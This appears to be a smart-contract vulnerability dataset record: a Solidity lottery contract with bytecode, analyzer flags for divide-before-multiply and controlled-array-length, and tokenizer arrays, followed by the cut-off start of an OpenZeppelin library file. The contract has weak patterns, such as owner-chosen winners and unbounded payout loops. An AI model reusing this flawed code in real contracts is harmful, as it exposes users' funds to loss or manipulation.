event Payreward(address indexed player, uint256 reward); function bet(uint256[] _timestamps, address _referral) payable public{ require(msg.value>=costPerTicket.mul(_timestamps.length)); require(!announced); if(now < expireDate){ for(i=0; i<_timestamps.length;i++){ timestampList.push(_timestamps[i]); mirrors[_timestamps[i]].push(msg.sender); betHistory[msg.sender].push(_timestamps[i]); averageTimestamp = averageTimestamp.mul(countBet) + _timestamps[i]; averageTimestamp = averageTimestamp.div(countBet+1); countBet ++; playerBets[msg.sender]++; } if(isPlayer[msg.sender]!=true){ countPlayer++; isPlayer[msg.sender]=true; referral[msg.sender]=_referral; countReferral[_referral]+=1; } if(playerBets[msg.sender]>playerBets[leader] && msg.sender!=leader){ if(msg.sender!=leader_2){ leader_3 = leader_2; } leader_2 = leader; leader = msg.sender; }else if(playerBets[msg.sender]>playerBets[leader_2] && msg.sender !=leader_2 && msg.sender != leader){ leader_3 = leader_2; leader_2 = msg.sender; }else if(playerBets[msg.sender]>playerBets[leader_3] && msg.sender !=leader_2 && msg.sender != leader && msg.sender != leader_3){ leader_3 = msg.sender; } rewardPool=rewardPool.add(msg.value); owner.transfer(msg.value.mul(12).div(100)); // Developement Team get 12% on every transfer emit Bet(_timestamps.length, msg.sender); }else{ if(!locked){ locked=true; } owner.transfer(msg.value); } // Increase Ticket Price every week if(startDate.add(countWeek.mul(604800)) < now ){ countWeek++; if(costPerTicket < maxCost){ costPerTicket=costPerTicket.add(2500000000000000); } } } function payLeaderAndDev() public { require(locked || announced); require(!developmentPaid); // Send 12% of the original fund back to owner owner.transfer(init_fund.mul(12).div(100)); // Send 8% of all rewardPool to Leaderboard winners leader.transfer(rewardPool.mul(4).div(100)); leader_2.transfer(rewardPool.mul(25).div(1000)); leader_3.transfer(rewardPool.mul(15).div(1000)); developmentPaid = true; } function getBetsOnTimestamp(uint256 _timestamp)public view returns (uint256){ return mirrors[_timestamp].length; } function announce(uint256 _timestamp, uint256 _winnerTimestamp_1, uint256 _winnerTimestamp_2) public { require(msg.sender == owner); announced = true; announcedTimeStamp = _timestamp; // Announce winners winnerTimestamp = _winnerTimestamp_1; secondWinnerTimestamp = _winnerTimestamp_2; countWinners = mirrors[winnerTimestamp].length; countSecondWinners = mirrors[secondWinnerTimestamp].length; //5% of total rewardPool goes as confirmreward confirmreward = rewardPool.mul(5).div(100).div(numOfConfirmationNeeded); } function confirm() public{ require(announced==true); require(confirmed==false); require(isPlayer[msg.sender]==true); require(hasConfirmed[msg.sender]!=true); countConfirmed += 1; hasConfirmed[msg.sender] = true; msg.sender.transfer(confirmreward); emit Confirm(msg.sender); emit Payreward(msg.sender, confirmreward); if(countConfirmed>=numOfConfirmationNeeded){ confirmed=true; } } function payWinners() public{ require(confirmed); require(!gameOver); // Send ETH(50%) to first prize winners share = rewardPool.div(2); share = share.div(countWinners); for(i=0; i<countWinners; i++){ mirrors[winnerTimestamp][i].transfer(share.mul(9).div(10)); referral[mirrors[winnerTimestamp][i]].transfer(share.mul(1).div(10)); emit Payreward(mirrors[winnerTimestamp][i], share); } // Send ETH(25%) to second Winners share = rewardPool.div(4); share = share.div(countSecondWinners); for(i=0; i<countSecondWinners; i++){ mirrors[secondWinnerTimestamp][i].transfer(share.mul(9).div(10)); referral[mirrors[secondWinnerTimestamp][i]].transfer(share.mul(1).div(10)); emit Payreward(mirrors[secondWinnerTimestamp][i], share); } // Bye Guys gameOver = true; } function getBalance() public view returns (uint256){ return address(this).balance; } function () public payable { owner.transfer(msg.value); } }
0x6080604052600436106101e3576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063054c3c711461024e57806309c95e101461028f5780630b97bc86146102ea57806312065fe01461031557806313517fea146103405780631993584b1461036b57806340eedabb1461039657806346f9bedf146103ed5780634fe6d26c146104185780635337448e146104795780635b87a2f2146104905780635cd48caa146104bb57806366666aa91461053457806367d499091461055f5780637022b58e1461058a5780637247959a146105a15780637da25928146106245780637ea1a8711461064f57806381ded5b8146106905780638da5cb5b146106bb5780639103e3681461071257806393c7ca841461073d578063a27d829814610768578063a565efff146107bf578063a968991b146107ea578063aaa006b214610819578063b8a67c3c14610844578063ba38c5991461086f578063bc03a5a51461089e578063bdb337d1146108df578063c2d6d6a11461090e578063c45cda5a14610965578063c7aa327b14610990578063ca84d17d146109e7578063cf309012146109fe578063d1115b0914610a2d578063d8e97a5614610a88578063edd6fb1614610ab3578063f478cef114610ade575b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561024b573d6000803e3d6000fd5b50005b34801561025a57600080fd5b5061027960048036038101908080359060200190929190505050610b35565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102d0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b55565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b506102ff610b75565b6040518082815260200191505060405180910390f35b34801561032157600080fd5b5061032a610b7b565b6040518082815260200191505060405180910390f35b34801561034c57600080fd5b50610355610b9a565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b50610380610ba0565b6040518082815260200191505060405180910390f35b3480156103a257600080fd5b506103ab610ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f957600080fd5b50610402610bcc565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b50610463600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b6040518082815260200191505060405180910390f35b34801561048557600080fd5b5061048e610c02565b005b34801561049c57600080fd5b506104a561120c565b6040518082815260200191505060405180910390f35b61053260048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611212565b005b34801561054057600080fd5b50610549611ea2565b6040518082815260200191505060405180910390f35b34801561056b57600080fd5b50610574611ea8565b6040518082815260200191505060405180910390f35b34801561059657600080fd5b5061059f611eae565b005b3480156105ad57600080fd5b506105e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612141565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063057600080fd5b50610639612174565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b5061068e60048036038101908080359060200190929190803590602001909291908035906020019092919050505061217a565b005b34801561069c57600080fd5b506106a561228c565b6040518082815260200191505060405180910390f35b3480156106c757600080fd5b506106d0612292565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561071e57600080fd5b506107276122b8565b6040518082815260200191505060405180910390f35b34801561074957600080fd5b506107526122be565b6040518082815260200191505060405180910390f35b34801561077457600080fd5b5061077d6122c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107cb57600080fd5b506107d46122ea565b6040518082815260200191505060405180910390f35b3480156107f657600080fd5b506107ff6122f0565b604051808215151515815260200191505060405180910390f35b34801561082557600080fd5b5061082e612303565b6040518082815260200191505060405180910390f35b34801561085057600080fd5b50610859612309565b6040518082815260200191505060405180910390f35b34801561087b57600080fd5b50610884612311565b604051808215151515815260200191505060405180910390f35b3480156108aa57600080fd5b506108c960048036038101908080359060200190929190505050612324565b6040518082815260200191505060405180910390f35b3480156108eb57600080fd5b506108f4612347565b604051808215151515815260200191505060405180910390f35b34801561091a57600080fd5b5061094f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612359565b6040518082815260200191505060405180910390f35b34801561097157600080fd5b5061097a612371565b6040518082815260200191505060405180910390f35b34801561099c57600080fd5b506109d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612377565b6040518082815260200191505060405180910390f35b3480156109f357600080fd5b506109fc61238f565b005b348015610a0a57600080fd5b50610a1361263f565b604051808215151515815260200191505060405180910390f35b348015610a3957600080fd5b50610a6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612652565b604051808215151515815260200191505060405180910390f35b348015610a9457600080fd5b50610a9d612672565b6040518082815260200191505060405180910390f35b348015610abf57600080fd5b50610ac8612678565b6040518082815260200191505060405180910390f35b348015610aea57600080fd5b50610af361267e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600060186000838152602001908152602001600020805490509050919050565b601a6020528060005260406000206000915054906101000a900460ff1681565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60015481565b60115481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b601c60205281600052604060002081815481101515610bed57fe5b90600052602060002001600091509150505481565b600260009054906101000a900460ff161515610c1d57600080fd5b6002809054906101000a900460ff16151515610c3857600080fd5b610c4e6002600a546126a490919063ffffffff16565b601481905550610c6b6010546014546126a490919063ffffffff16565b60148190555060006003819055505b6010546003541015610f1457601860006015548152602001908152602001600020600354815481101515610caa57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610d17600a610d0960096014546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610d42573d6000803e3d6000fd5b50601e6000601860006015548152602001908152602001600020600354815481101515610d6b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610e33600a610e2560016014546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610e5e573d6000803e3d6000fd5b50601860006015548152602001908152602001600020600354815481101515610e8357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3bf0d3d4438204f2f5176c93aa1d48163d158f4385eb54b1c78c7f4a23dea82c6014546040518082815260200191505060405180910390a2600360008154809291906001019190505550610c7a565b610f2a6004600a546126a490919063ffffffff16565b601481905550610f476011546014546126a490919063ffffffff16565b60148190555060006003819055505b60115460035410156111f057601860006016548152602001908152602001600020600354815481101515610f8657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610ff3600a610fe560096014546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561101e573d6000803e3d6000fd5b50601e600060186000601654815260200190815260200160002060035481548110151561104757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61110f600a61110160016014546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561113a573d6000803e3d6000fd5b5060186000601654815260200190815260200160002060035481548110151561115f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3bf0d3d4438204f2f5176c93aa1d48163d158f4385eb54b1c78c7f4a23dea82c6014546040518082815260200191505060405180910390a2600360008154809291906001019190505550610f56565b60016002806101000a81548160ff021916908315150217905550565b600b5481565b61122882516000546126ba90919063ffffffff16565b341015151561123657600080fd5b600260019054906101000a900460ff1615151561125257600080fd5b635c01cf00421015611d8d5760006003819055505b815160035410156114995760198260035481518110151561128457fe5b90602001906020020151908060018154018082558091505090600182039060005260206000200160009091929091909150555060186000836003548151811015156112cb57fe5b9060200190602002015181526020019081526020016000203390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260035481518110151561139657fe5b906020019060200201519080600181540180825580915050906001820390600052602060002001600090919290919091505550816003548151811015156113d957fe5b906020019060200201516113fa600f546012546126ba90919063ffffffff16565b0160128190555061141b6001600f54016012546126a490919063ffffffff16565b601281905550600f60008154809291906001019190505550601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550600360008154809291906001019190505550611267565b60011515601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561162a57600e600081548092919060010191905055506001601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b601d6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156117275750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561189057600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e757600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c8f565b601d6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561198d5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b80156119e75750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611a9557600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c8e565b601d6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015611b925750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bec5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c465750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611c8d5733600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b611ca434600a546126f290919063ffffffff16565b600a81905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d0d6064611cff600c346126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d38573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167fc0cf6f6539dd26a13b724325f9d675aeb7686003595f761a617b892522d0c98c83516040518082815260200191505060405180910390a2611e29565b600260039054906101000a900460ff161515611dbf576001600260036101000a81548160ff0219169083151502179055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611e27573d6000803e3d6000fd5b505b42611e56611e4562093a806017546126ba90919063ffffffff16565b6004546126f290919063ffffffff16565b1015611e9e576017600081548092919060010191905055506001546000541015611e9d57611e966608e1bc9bf040006000546126f290919063ffffffff16565b6000819055505b5b5050565b600a5481565b60165481565b60011515600260019054906101000a900460ff161515141515611ed057600080fd5b60001515600260009054906101000a900460ff161515141515611ef257600080fd5b60011515601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515611f5157600080fd5b60011515601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151515611fb157600080fd5b6001600d600082825401925050819055506001601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc600b549081150290604051600060405180830381858888f19350505050158015612062573d6000803e3d6000fd5b507fc952b93c48fdd136bb09432bd213d57ca429753ac2d0c2a23bb59b129b82e59c33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a13373ffffffffffffffffffffffffffffffffffffffff167f3bf0d3d4438204f2f5176c93aa1d48163d158f4385eb54b1c78c7f4a23dea82c600b546040518082815260200191505060405180910390a2601354600d5410151561213f576001600260006101000a81548160ff0219169083151502179055505b565b601e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121d657600080fd5b6001600260016101000a81548160ff021916908315150217905550826009819055508160158190555080601681905550601860006015548152602001908152602001600020805490506010819055506018600060165481526020019081526020016000208054905060118190555061228160135461227360646122656005600a546126ba90919063ffffffff16565b6126a490919063ffffffff16565b6126a490919063ffffffff16565b600b81905550505050565b60135481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b600f5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b600260009054906101000a900460ff1681565b600e5481565b635c01cf0081565b600260019054906101000a900460ff1681565b60198181548110151561233357fe5b906000526020600020016000915090505481565b6002809054906101000a900460ff1681565b601f6020528060005260406000206000915090505481565b600c5481565b601d6020528060005260406000206000915090505481565b600260039054906101000a900460ff16806123b65750600260019054906101000a900460ff165b15156123c157600080fd5b600260049054906101000a900460ff161515156123dd57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124416064612433600c80546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561246c573d6000803e3d6000fd5b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124d260646124c46004600a546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124fd573d6000803e3d6000fd5b50600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125646103e86125566019600a546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561258f573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125f66103e86125e8600f600a546126ba90919063ffffffff16565b6126a490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612621573d6000803e3d6000fd5b506001600260046101000a81548160ff021916908315150217905550565b600260039054906101000a900460ff1681565b601b6020528060005260406000206000915054906101000a900460ff1681565b60125481565b600d5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081838115156126b157fe5b04905092915050565b6000808314156126cd57600090506126ec565b81830290508183828115156126de57fe5b041415156126e857fe5b8090505b92915050565b6000818301905082811015151561270557fe5b809050929150505600a165627a7a723058202a45c9c970648d6409434bfd8990cb7e18a8aec10a4174ed5207f2c8bb33e62c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 22394, 2692, 27421, 2683, 2546, 2692, 2581, 27531, 25031, 2692, 2683, 2620, 2278, 21619, 27814, 2575, 29097, 24087, 2620, 2850, 2683, 2487, 2050, 2575, 2094, 2581, 11057, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1039, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,090
0x9633a845020d13790d6cc385b6ad4b47d5456faf
// File: @openzeppelin\contracts\math\Math.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false 